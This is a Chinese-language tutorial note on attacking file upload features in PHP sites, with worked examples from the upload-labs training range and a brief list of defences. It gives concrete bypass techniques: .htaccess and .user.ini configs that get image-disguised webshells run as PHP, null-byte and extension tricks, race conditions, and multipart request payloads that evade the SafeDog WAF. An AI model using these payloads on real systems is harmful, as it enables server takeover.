文件上传

初识

  1. 什么是文件上传漏洞

    有文件上传就可以测试是否有漏洞,关键看代码是否完备。

  2. 漏洞危害

    自定义网站后门,获取网站权限,属于高危漏洞。

  3. 如何查找判断

    黑盒查找:不知道源代码情况下,通过目录扫描和网站应用,以及通过网站后台、会员中心进行获取权限,需要自己判断。

    白盒查找:通过源代码分析文件上传漏洞。

    判断:通过抓包分析

  4. 注意事项以及应用说明

    文件上传的区分归类,是编辑器还是第三方应用,还是其它的,再进行后续测试

利用思路:

常规类

扫描获取上传

会员中心上传

后台系统上传

各种途径上传

CMS类

已知CMS源码和漏洞

编辑器类

ckeditor

fckeditor

kindeditor

xxxxeditor

其他类/CVE

代码审计

平台/三方应用

验证/绕过

文件上传常见验证:

后缀名、类型、文件头等

后缀名:黑名单(明确不让上传的格式后缀)、白名单(明确可以上传的格式后缀)

文件类型:MIME信息

文件头:内容头信息

源码基础$_FILES[]

<?php
//$_FILES[][]第一个[]指定上传的文件(在html里表现为name的值),第二个值表示输出的信息。
echo $_FILES['upload_file']['name'];//输出文件名
echo $_FILES['upload_file']['type'];//输出文件类型(mime)
echo $_FILES['upload_file']['size'];//输出文件大小
?>

<form enctype="multipart/form-data" method="post" action="">
<p>请选择要上传的图片:</p>
<input class="input_file" type="file" name="upload_file"/>
    <!--注意上面这里name的值,必须和php的$_FILES的第一个参数值一模一样-->
<input class="button" type="submit" name="submit" value="上传"/>
</form>

前端

JS类防护,直接删。

后端

黑名单

特殊解析后缀

漏洞成因:没有对一些特殊且可解析的后缀做过滤。

​ 把后缀改成php3php5phtml……

.htaccess解析

前提:Apache

.htaccess文件是用来设置伪静态的,一般只应用于Apache。

.htaccess内容一般如下:

<FilesMatch "xxxxx">
SetHandler application/x-httpd-php
</FilesMatch>

解释: application/x-httpd-php 是php的mime类型。.htaccess文件会先找到文件名里含有xxxxx的文件,然后可以把它当做php解析

.user.ini解析

前提:Nginx、目录下已有php文件

.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为PHP_INI_PERDIR 、 PHP_INI_USER的设置。

其中有两个配置,可以用来制造后门:auto_append_fileauto_prepend_file

auto_prepend_file指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。

使用方法很简单,直接写在.user.ini中:

auto_prepend_file=test.jpg

或者

auto_append_file=test.jpg

然后将图片马传上去,再访问index.php

大小写绕过

漏洞成因:后端代码没有考虑大小写的问题,没有使用相关过滤函数。

把后缀改成大小写串写。

点绕过

漏洞成因:后端检测时没有删除末尾的点;而在系统层面,文件名后面的一个点会被强制删除。

在文件后加一个.

空格绕过

漏洞成因:后端检测时没有首位去空;而在系统层面,文件名后面的空格会被强制删除。

抓包,在文件名后加空格。

::$DATA绕过

前提:windows、php

漏洞成因:后端检测没有去除字符串::$DATA;php在windows的时候如果是文件名+::$DATA会把::$DATA之后的数据当成文件流处理,不会检测后缀,且保持::$DATA之前的文件名。

在文件名后面加::$DATA

配合解析漏洞

双后缀名绕过

漏洞成因:后端没有使用循环替换黑名单,也就是只执行一次替换关键字为空;

php ——> phphpp

白名单

MIME绕过

把数据包里的Content-Type改成可以通过的MIME类型。

%00截断

upload靶场Pass-12为例

$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

解释:$img_path是图片路径,$_GET['save_path']参数可控,$file_ext是我们上传的文件的后缀名。

如果我们控制save_path的值为:

?save_path=../upload/1.php%00

自己随意定一个php文件名,然后后面加上%00,我们分析一下代码:

$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
变成
$img_path = ../upload/1.php%00."/".rand(10, 99).date("YmdHis").".".$file_ext;

小tips:当一个字符串中存在空字符的时候,在被解析的时候会导致空字符后面的字符被丢弃

00截断的原理:在后缀中插入一个空字符(不是空格),会导致之后的部分被丢弃,而导致绕过的发生。

所以我们可以访问http://127.0.0.1/upload/upload/1.php,发现文件执行成功。

​ 对于upload靶场Pass-13采用的是post传参,原理一样,我们抓包,加1.php%00,但是这里我们需要把%00解码,因为post传参不会自动解码,由于burp本身的一些问题,建议用Hex模式下改00。

0x00截断

0x0a截断

内容及其他

文件头检测

在文件内容前面加 GIF89a(gif的头)、……

  1. (1).JPEG;.JPE;.JPG,”JPGGraphicFile”(FFD8FFFE00)

  2. (2).gif,”GIF89A”(474946383961)

  3. (3).zip,”ZipCompressed”(504B0304)

  4. (4).doc;.xls;.xlt;.ppt;.apr,”MSCompoundDocumentv1orLotusApproachAPRfile”(D0CF11E0A1B11AE1

二次渲染

原理:在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),此时文件就已经在服务器了,处理完成后在网页显示。

条件竞争

二次渲染时如果是先上传文件到服务器,此时文件已经在服务器了,进行二次处理后,然后再对文件进行过滤操作,就会出现逻辑上的漏洞。

小tips:当文件被占用使用时,无法对文件进行重命名或者删除操作。

试想:如果我们上传的马文件被脚本过滤就要删除之前去访问这个文件,那么这个文件处于被使用的状态,无法被删除,那我们上传的马不就生效了嘛!

条件竞争就是在服务器删除我们上传的非法文件之前,访问这个文件,用这个木马文件getshell。

upload靶场Pass-18为例

if(move_uploaded_file($temp_file, $upload_file)){
    if(in_array($file_ext,$ext_arr)){

解释:脚本是先执行的move_uploaded_file,也就是移动文件的一个函数,简单来说就是先把咱上传的文件放在upload文件夹下了;然后执行的in_array($file_ext,$ext_arr),也就是检查后缀等等过滤。

所以这里就存在一个执行的逻辑漏洞,我们可以利用条件竞争解这道题。

burp不断发包,我们用浏览器不断访问木马文件,然后getshell。

突破getimagesize

getimagesize函数:对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求的

改文件头即可。

突破exif_imagetype

upload靶场Pass14,但要打开php_exif

exif_imagetype函数:读取一个图像的第一个字节并检查其签名

删除文件末尾木马

upload-labs之pass 16详细分析 - 先知社区 (aliyun.com)

使用博主的图片上传。

漏洞/修复

解析漏洞

xd3

IIS6/7.x

Apache

Nginx

CMS漏洞

其他漏洞

编辑器漏洞

ckeditor

fckeditor

kindeditor

ewebeditor

…………

CVE等漏洞

CVE-2015-2348

php任意文件上传漏洞

CVE-2017-12615

Tomcat 任意文件写入

CVE-2019-2618

WebLogic任意文件上传漏洞

………………

WAF绕过

数据包分析

-----------------------------261565248117576984521022069938
Content-Disposition: form-data; name="upload_file"; filename="yjhmm.jpg"
Content-Type: image/jpeg
  • Content-Disposition: form-data;表示数据是从表单来的。(一般固定不变)
  • name="upload_file";这个的值要和对应表单的name相同。(不能改)
  • filename="yjhmm.jpg"就是我们上传的文件名。(可改)
  • Content-Type: image/jpeg上传文件mime类型。(看情况改)

安全狗-防匹配

数据溢出

安全狗匹配filename的值然后进行过滤拦截,但是当数据量过大时,匹配机制会出错或者匹配不到后面的数据。安全狗也会累。

我们尝试将一些垃圾数据写入包。

-----------------------------261565248117576984521022069938
Content-Disposition: form-data; asciavsbcwiafsdhasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavvvioahvscjkav;name="upload_file"; filename="yjhmm.php"
Content-Type: image/jpeg

当达到一定大小时,绕过安全狗,文件上传成功。

要插在filename的前面。

符号变异

我们设想安全狗匹配的是双引号里面的值。如果我们把filename的双引号去掉,或者只留一个双引号,或者改为单引号…………

-----------------------------261565248117576984521022069938
Content-Disposition: form-data; name="upload_file"; filename="yjhmm.php
Content-Type: image/jpeg
-----------------------------261565248117576984521022069938
Content-Disposition: form-data; name="upload_file"; filename=yjhmm.php
Content-Type: image/jpeg
-----------------------------261565248117576984521022069938
Content-Disposition: form-data; name="upload_file"; filename='yjhmm.php
Content-Type: image/jpeg

上传成功。

数据截断

%00;、换行

-----------------------------261565248117576984521022069938
Content-Disposition: form-data; name="upload_file"; filename="1.php%00.jpg"
Content-Type: image/jpeg
-----------------------------261565248117576984521022069938
Content-Disposition: form-data; name="upload_file"; filename="1.jpg;.php"
Content-Type: image/jpeg

解释:1.jpg;.php :安全狗匹配到;后不再继续匹配,所以后面的.php没有被检测到,上传文件名为1.jpg;.php是php文件。

-----------------------------261565248117576984521022069938
Content-Disposition: form-data; name="upload_file"; filename="1.p
h
p"
Content-Type: image/jpeg

filename=1.p\nh\np 安全狗匹配不到php,成功绕过。

重复数据

因为检测的是filename,那我们多搞几个filename,发现是匹配的最后一个filename。

设想安全狗是使用循环去找最后一个filename的,那循环次数如果有限制,我们搞很多个filename,那是不是就可以绕过匹配了。

-----------------------------261565248117576984521022069938
Content-Disposition: form-data; name="upload_file"; filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.php"
Content-Type: image/jpeg

成功上传yjhmm.php。

-----------------------------261565248117576984521022069938
Content-Disposition: form-data; name="upload_file"; filename="Content-Disposition: form-data; name="upload_file";1.php"
Content-Type: image/jpeg

filename="Content-Disposition: form-data; name="upload_file";1.php"

也可绕过。

宝塔

防护

后端验证:采用服务器验证模式

后缀检测:基于黑名单,白名单过滤

MIME检测:基于上传自带类型检测

内容检测:文件头,完整性检测

自带函数过滤:getimagesiz、exif_imagetype、getReailFileType……

自定义函数过滤

WAF防护产品:宝塔、云盾、安全公司产品………